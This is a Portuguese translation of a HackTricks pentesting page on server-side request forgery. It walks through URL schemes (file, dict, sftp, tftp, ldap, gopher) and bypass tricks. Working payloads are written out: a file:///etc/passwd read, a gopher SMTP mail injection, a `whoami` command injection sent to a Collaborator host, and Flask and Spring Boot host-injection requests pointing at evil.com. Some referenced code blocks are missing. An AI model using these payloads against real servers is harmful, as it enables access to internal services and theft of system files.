Compartilhe truques de hacking enviando PRs para osHackTricks e HackTricks Cloud repositórios do github.
Informações Básicas
Uma vulnerabilidade de Server-side Request Forgery (SSRF) ocorre quando um atacante manipula uma aplicação do lado do servidor para fazer requisições HTTP para um domínio de sua escolha. Essa vulnerabilidade expõe o servidor a requisições externas arbitrárias direcionadas pelo atacante.
Captura de SSRF
A primeira coisa que você precisa fazer é capturar uma interação SSRF gerada por você. Para capturar uma interação HTTP ou DNS, você pode usar ferramentas como:
Normalmente, você descobrirá que o SSRF está funcionando apenas em certos domínios ou URLs na lista branca. Na página a seguir, você tem uma compilação de técnicas para tentar contornar essa lista branca:
Se o servidor estiver corretamente protegido, você pode contornar todas as restrições explorando um Redirecionamento Aberto dentro da página da web. Como a página da web permitirá SSRF para o mesmo domínio e provavelmente seguirá redirecionamentos, você pode explorar o Redirecionamento Aberto para fazer o servidor acessar qualquer recurso interno.
Leia mais aqui: https://portswigger.net/web-security/ssrf
Protocolos
file://
O esquema de URL file:// é referenciado, apontando diretamente para /etc/passwd: file:///etc/passwd
dict://
O esquema de URL DICT é descrito como sendo utilizado para acessar definições ou listas de palavras via o protocolo DICT. Um exemplo dado ilustra uma URL construída visando uma palavra específica, banco de dados e número de entrada, bem como um exemplo de um script PHP sendo potencialmente mal utilizado para conectar-se a um servidor DICT usando credenciais fornecidas pelo atacante: dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
SFTP://
Identificado como um protocolo para transferência segura de arquivos sobre shell seguro, um exemplo é fornecido mostrando como um script PHP poderia ser explorado para conectar-se a um servidor SFTP malicioso: url=sftp://generic.com:11111/
TFTP://
O Protocolo de Transferência de Arquivos Trivial, operando sobre UDP, é mencionado com um exemplo de um script PHP projetado para enviar uma requisição a um servidor TFTP. Uma requisição TFTP é feita para 'generic.com' na porta '12346' para o arquivo 'TESTUDPPACKET': ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
LDAP://
Este segmento cobre o Protocolo de Acesso a Diretórios Leve, enfatizando seu uso para gerenciar e acessar serviços de informações de diretório distribuídos sobre redes IP. Interaja com um servidor LDAP no localhost: '%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
SMTP
Um método é descrito para explorar vulnerabilidades SSRF para interagir com serviços SMTP no localhost, incluindo etapas para revelar nomes de domínios internos e outras ações investigativas com base nessa informação.
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
Curl URL globbing - Bypass de WAF
Se o SSRF for executado pelo curl, o curl tem um recurso chamado URL globbing que pode ser útil para contornar WAFs. Por exemplo, neste writeup você pode encontrar este exemplo de traversal de caminho via file protocol:
A capacidade do protocolo Gopher de especificar IP, porta e bytes para comunicação com o servidor é discutida, juntamente com ferramentas como Gopherus e remote-method-guesser para criar payloads. Duas utilizações distintas são ilustradas:
Gopher://
Usando este protocolo, você pode especificar o IP, porta e bytes que deseja que o servidor envie. Então, você pode basicamente explorar um SSRF para comunicar-se com qualquer servidor TCP (mas você precisa saber como se comunicar com o serviço primeiro).
Felizmente, você pode usar Gopherus para criar payloads para vários serviços. Além disso, remote-method-guesser pode ser usado para criar payloads gopher para serviços Java RMI.
Gopher smtp
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT
Gopher HTTP
#For new lines you can use %0A, %0D%0Agopher://<server>:8080/_GET /HTTP/1.0%0A%0Agopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
Software de análise em servidores frequentemente registra o cabeçalho Referrer para rastrear links de entrada, uma prática que inadvertidamente expõe aplicações a vulnerabilidades de Server-Side Request Forgery (SSRF). Isso ocorre porque tal software pode visitar URLs externas mencionadas no cabeçalho Referrer para analisar o conteúdo do site de referência. Para descobrir essas vulnerabilidades, o plugin do Burp Suite "Collaborator Everywhere" é recomendado, aproveitando a forma como as ferramentas de análise processam o cabeçalho Referer para identificar superfícies potenciais de ataque SSRF.
SSRF via SNI data from certificate
Uma má configuração que poderia permitir a conexão a qualquer backend através de uma configuração simples é ilustrada com um exemplo de configuração do Nginx:
Nesta configuração, o valor do campo Server Name Indication (SNI) é utilizado diretamente como o endereço do backend. Essa configuração expõe uma vulnerabilidade a Server-Side Request Forgery (SSRF), que pode ser explorada simplesmente especificando o endereço IP ou nome de domínio desejado no campo SNI. Um exemplo de exploração para forçar uma conexão a um backend arbitrário, como internal.host.com, usando o comando openssl é dado abaixo:
Pode valer a pena tentar um payload como: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`
Renderização de PDFs
Se a página da web estiver criando automaticamente um PDF com algumas informações que você forneceu, você pode inserir algum JS que será executado pelo próprio criador de PDF (o servidor) enquanto cria o PDF e você poderá abusar de um SSRF. Encontre mais informações aqui.
De SSRF a DoS
Crie várias sessões e tente baixar arquivos pesados explorando o SSRF a partir das sessões.
Funções PHP de SSRF
Verifique a página a seguir para funções PHP vulneráveis e até mesmo funções do Wordpress:
Para algumas explorações, você pode precisar enviar uma resposta de redirecionamento (potencialmente para usar um protocolo diferente como gopher). Aqui você tem diferentes códigos em python para responder com um redirecionamento:
</details>
Flask permite usar **`@`** como caractere inicial, o que permite fazer **o nome do host inicial ser o nome de usuário** e injetar um novo. Requisição de ataque:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close
Spring Boot
Código vulnerável:
Foi descoberto que é possível iniciar o caminho de uma solicitação com o caractere ; o que permite então usar @ e injetar um novo host para acessar. Solicitação de ataque:
GET ;@evil.com/url HTTP/1.1Host:target.comConnection:close